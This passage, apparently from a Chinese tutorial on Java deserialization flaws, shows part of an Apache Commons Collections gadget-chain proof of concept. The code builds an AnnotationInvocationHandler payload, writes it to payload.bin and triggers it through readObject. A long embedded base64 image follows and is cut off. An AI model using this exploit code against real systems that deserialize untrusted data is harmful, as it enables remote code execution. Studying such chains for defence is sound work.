innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close(); //read object
try
{
String savePath = "payload.bin";
FileInputStream fileIn = new FileInputStream(savePath);
ObjectInputStream in = new ObjectInputStream(fileIn);
//不管反序列化成任何的对象,只要调用到readObject()就已经触发漏洞了
Object obj = (Object) in.readObject();
in.close();
fileIn.close();
}
catch(ClassNotFoundException c)
{
System.out.println("Employee class not found");
c.printStackTrace();
return;
}
catch(IOException i)
{
i.printStackTrace();
return;
}
}
}
aaarticlea/png;base64,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